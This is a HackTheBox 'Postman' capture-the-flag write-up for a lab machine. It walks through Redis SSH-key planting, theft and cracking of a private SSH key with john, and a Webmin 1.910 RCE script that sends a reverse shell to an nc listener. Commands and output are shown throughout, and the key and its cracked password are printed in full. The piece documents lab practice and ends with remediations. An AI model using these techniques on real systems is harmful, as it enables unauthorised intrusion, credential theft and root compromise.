Pwning Postman - HacktheBox 'Postman' writeup
‘Pwning Postman’ - ‘Postman’ HTB Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| Postman | 10.10.10.160 | Linux | Easy |
[toc]
- ‘Pwning Postman’ - ‘Postman’ HTB Writeup
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/postman/scans/_full_tcp_nmap.txt" -oX "/HTB/postman/scans/xml/_full_tcp_nmap.xml" 10.10.10.160
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.160
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
| 80/tcp | open | http | Apache httpd 2.4.29 |
| 6379/tcp | open | redis | Redis key-value store 4.0.9 |
| 10000/tcp | open | http | MiniServ 1.910 |
nmap scan output
# Nmap 7.80 scan initiated Thu Aug 27 09:02:08 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/postman/scans/_full_tcp_nmap.txt -oX /0ps/HTB/postman/scans/xml/_full_tcp_nmap.xml 10.10.10.160
Nmap scan report for 10.10.10.160
Host is up, received user-set (0.031s latency).
Scanned at 2020-08-27 09:02:09 CDT for 86s
Not shown: 65531 closed ports
Reason: 65531 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
| 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.1 (94%), Linux 3.2 (94%), Linux 3.18 (93%), Linux 3.16 (92%), Linux 2.6.32 (92%), ASUS RT-N56U WAP (Linux 3.4) (92%), Android 4.1.2 (92%), Adtran 424RG FTTH gateway (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=42265%PV=Y%DS=2%DC=T%G=Y%TM=5F47BD3
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNN
OS:SNW7%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%TG=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T
OS:5(R=N)T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%TG=40%CD=S)IE(R=Y
OS:%DFI=N%T=40%CD=S)
Uptime guess: 2.560 days (since Mon Aug 24 19:37:09 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 30.09 ms 10.10.14.1
2 30.11 ms 10.10.10.160
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 09:03:35 2020 -- 1 IP address (1 host up) scanned in 87.39 seconds
nmap scan observations
We can see that the target is Linux, likely Ubuntu based on the OS detection scripts from nmap and the banner grab from the SSH Service. Four ports/services are shown externally visible: An HTTP service open on the standard port 80 running Apache 2.4.29, OpenSSH 7.6p1 was found running on the standard TCP port 22. Additionally, a service showing as ‘Redis key-value store 4.0.9’ is running TCP port 637. Finally, a service labeled ‘MiniServ 1.910’ is running over HTTP on port 10000.
Webmin/MiniServ enumeration
Let’s begin with enumeration of the service running on TCP port 10000. Services labeled as MiniServ on service scans often show to be Webmin in the browser, which is confirmed by going to the URL https://10.10.10.160:10000/, as we’re presented with a Webmin login page, shown below.
We can see a robots.txt file found on the host, with a fairly generic/all-encompassing disallow statement, disallowing everything at the / root directory of the site for all user agents.
User-agent: *
Disallow: /
Viewing the source of the login page does not give any obvious hints to credentials. From a quick websearch we can see that the common credentials are either a username of root and the corresponding root password of the host, or ‘admin’ as a username. A few common combinations such as “admin/admin”, “root/root”, “admin/password”, “root/password” are tried with no success.
Two Remote Code Execution (RCE) exploits are found that might apply to this version of Webmin, but they both appear to require authentication, which we do not yet have. Reasoning that we might be able to exploit redis or another service as an entry point or for providing credentials to webmin, let’s move on.
redis enumeration
Some further enumeration can be briefly done with an nmap NSE script, as follows:
initinfosec@kali:/HTB/postman/scans$ nmap --script redis-info -sV -p 6379 10.10.10.160
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 11:19 CDT
Nmap scan report for 10.10.10.160
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9 (64 bits)
| redis-info:
| Version: 4.0.9
| Operating System: Linux 4.15.0-58-generic x86_64
| Architecture: 64 bits
| Process ID: 609
| Used CPU (sys): 7.14
| Used CPU (user): 2.32
| Connected clients: 1
| Connected slaves: 0
| Used memory: 822.24K
| Role: master
| Bind addresses:
| 0.0.0.0
| ::1
| Client connections:
|_ 10.10.14.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds
It appears the redis-cli package would be handy for further enumeration and potential exploitation, so let’s install that with sudo apt-get install redis-tools. We can determine if redis requires authentication by querying the server for info. If it supplies that information, the service does not appear to be configured to require authentication to query/use the service. If a simple line about AUTH being required is returned, we can conclude we need credentials.
initinfosec@kali:/HTB/postman/scans$ redis-cli -h 10.10.10.160
10.10.10.160:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:609
run_id:1a17282a30f91f89167059a15378a134849236be
tcp_port:6379
uptime_in_seconds:8437
uptime_in_days:0
hz:10
lru_clock:4709977
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
[trimmed]
# Stats
total_connections_received:23
total_commands_processed:26
instantaneous_ops_per_sec:0
total_net_input_bytes:2668
total_net_output_bytes:18823
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:99af742ed612487a642606222c5b9abe8d4c6ba0
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
[trimmed]
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=0,expires=0,avg_ttl=0
10.10.10.160:6379>
Great, so we know the server doesn’t require authentication to use. We also see the location of redis with the line 166) "/var/lib/redis", so it’s quite possible the system has a ‘redis’ user at that location. A quick websearch seems to indicate the the redis user is on systems with a redis install and the config file will tell you the location of the user’s home directory, so that’s good to know.
gaining an initial foothold
exploiting redis
Knowing the redis opens up the possibility of some potential exploits, either using redis to place and SSH key for the redis user and trying to authenticate with it if the SSH config allows, or potentially writing a file to a webserver to try to get a shell.
One such exploit can be found here on GitHub. Let’s clone the github repo to our exploits directory. Once done, we can view the code and learn the termcolor module needs to be installed, which can be done with pip2 install termcolor.
Once done, we see the format of the exploit command as: exploit.py \
39 cmd4 = cmd1 + ' config set dir' + " /var/lib/"+username+"/.ssh/"
Once done, we can run the exploit, finding it does indeed give us a shell, as shown below:
initinfosec@kali:/HTB/postman/exploit$ python redis.py 10.10.10.160 redis
*******************************************************************
* [+] [Exploit] Exploiting misconfigured REDIS SERVER*
* [+] AVINASH KUMAR THAPA aka "-Acid"
*******************************************************************
SSH Keys Need to be Generated
Generating public/private rsa key pair.
Enter file in which to save the key (/home/initinfosec/.ssh/id_rsa): /HTB/postman/exploit/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /HTB/postman/exploit/id_rsa
Your public key has been saved in /HTB/postman/exploit/id_rsa.pub
The key fingerprint is:
SHA256:jihAY2lLZePrbLGMybN7TuTICF4SI7J6yyqWPmoyU5E acid_creative
The key's randomart image is:
+---[RSA 3072]----+
| + |
| = . |
|oX o |
|B.E . |
|+o * S |
|B.& o. o |
|oX+O. . . |
|=B=+ |
|XBB. |
+----[SHA256]-----+
Keys Generated Successfully
OK
OK
OK
OK
OK
OK
You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$
{More information on enumerating and testing redis can be found at this great resource}
It appears the user.txt file is in Matt’s home directory, so let’s see if we can laterally move to that user.
Lateral Movement
We see running both sudo -v and crontab -l that we do not have either a crontab or sudo permissions in our current user. Browsing around the filesystem a bit, we eventually find a bakcup file of an private RSA SSH key, seemingly owned by Matt, as shown below:
edis@Postman:/opt$ ls
id_rsa.bak
redis@Postman:/opt$ ls -ltra
total 12
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 id_rsa.bak
drwxr-xr-x 2 root root 4096 Sep 11 2019 .
redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
redis@Postman:/opt$
As shown above in the header, the key appears to be encrypted. Let’s transfer it locally to see if we can crack the password. To do this we’ll use python3 from the target to start a web server, and download the file locally to Kali.
redis@Postman:/opt$ which python3
/usr/bin/python3
redis@Postman:/opt$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
And from kali:
initinfosec@kali:/HTB/postman/loot$ wget http://10.10.10.160:8000/id_rsa.bak
--2020-08-27 13:03:54-- http://10.10.10.160:8000/id_rsa.bak
Connecting to 10.10.10.160:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1743 (1.7K) [application/x-trash]
Saving to: ‘id_rsa.bak’
id_rsa.bak 100%[=========================================================================>] 1.70K --.-KB/s in 0s
2020-08-27 13:03:54 (374 MB/s) - ‘id_rsa.bak’ saved [1743/1743]
Cracking the SSH key (or attempting to) can be done with john and a script bundled with kali called ssh2john.py:
initinfosec@kali:/HTB/postman/loot$ locate ssh2john.py
/usr/share/john/ssh2john.py
We can then use the python script to create a hash from the key, and then try to crack the hash using john in a more standard format. The commands used are shown below:
initinfosec@kali:/HTB/postman/loot$ python /usr/share/john/ssh2john.py id_rsa.bak > matt_rsa.hash
initinfosec@kali:/HTB/postman/loot$ john matt_rsa.hash --wordlist:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (id_rsa.bak)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:06 DONE (2020-08-27 13:11) 0.1610g/s 2309Kp/s 2309Kc/s 2309KC/sa6_123..*7¡Vamos!
Session completed
initinfosec@kali:/HTB/postman/loot$ john matt_rsa.hash --show
id_rsa.bak:computer2008
1 password hash cracked, 0 left
Great, so we see the password is “computer2008” for the SSH ket. Trying this password to switch user to “Matt” is successful, as shown below.
Privilege Escalation
PrivEsc Enumeration
Now as the user Matt, let’s proceed to see how we can get root. Running sudo -l and crontab -l we see we do not have permissions to run sudo, and no crontabs for the user. As is pretty common, we see that webmin is running as root.
Matt@Postman:/usr/share/webmin$ ps aux | grep webmin
root 704 0.0 3.2 95308 29592 ? Ss 15:04 0:11 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
Going back to the webmin login at https://10.10.10.160:10000/, we find that using the credentials ‘Matt/computer2008’ gives us access to the console, shown in the below screenshot.
Gaining a root shell
Now that we have webmin access, we can attempt to utilize one of the RCE exploits noted earlier which needed authentication. Of particular interest is this exploit which leverages a vulnerability in the package update function of Webmin to perform RCE/command injection and attempt to run a proccess as the context of the user which Webmin is running as (which in this case, and often, is root.)
Since this box is in preperation for OSCP, I want to avoid metasploit usage where possible. To this end, a quick search revealed a python script on github found here exploiting the same vulnerability.
Clone the repository with git. Once the tool is downloaded, we can read the README and code source for usage information. Next, we start a listener to catch the shell if one spawns, with nc -lvnp 1234
Once done, we can run the exploit - keep in mind to change the lhost and lport to the appropriate values. also recall that SSL is enabled on webmin, so we’ll need to pass the SSL argument with “-s true.”
initinfosec@kali:/HTB/postman/exploit/Webmin-1.910-Exploit-Script$ python webmin_exploit.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.14.12 --lport 1234 -u Matt -p computer2008 -s true
****************************** Webmin 1.910 Exploit By roughiz*******************************
*********************************************************************************************
*********************************************************************************************
*********************************************************************************************
****************************** Retrieve Cookies sid *****************************************
********** [+] [Exploit] The Cookie is 81c429b1433bde2c139558aba756eccc
********************************************************************************************
****************************** Create payload and Exploit ***********************************
********** [+] [Exploit] Verify you nc listener on port 1234 for the incomming reverse shell
initinfosec@kali:/HTB/postman/exploit/Webmin-1.910-Exploit-Script$
Looks like the exploit worked, and checking our listener, we see we’ve received a root shell locally, as shown in the screenshot below. Thus we’ve gained full control of the system as the root user via an RCE exploit that injected a reverse shell command. Since the webmin process was running as root, we received a root shell.
Conclusion
Recommended Remediations
-
Consider adding authentication to the redis service to avoid unintentional information disclosure, and potential exploitation that might result in a foothold on the system, such as the exploit used in this test.
-
If storing backups that contain sensitive information (such as Matt’s private SSH key), store them in a place with appropriate permission restrictions on them. While it wasa good that the key was encrypted, either the permissions on the file should have been restricted to not allow the redis user to view or copy the file.
-
Update the Webmin instance to patch the package update RCE vulnerability exploited in version 1.910
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!